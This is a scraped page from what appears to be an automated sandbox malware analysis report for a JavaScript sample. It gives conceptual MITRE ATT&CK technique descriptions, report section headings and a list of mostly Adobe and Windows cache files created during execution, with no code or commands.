Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1223923852588014617.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\1dc40c8a-8407-468e-991a-9fca1e491e07.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2656

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Windows Analysis Report
1223923852588014617.js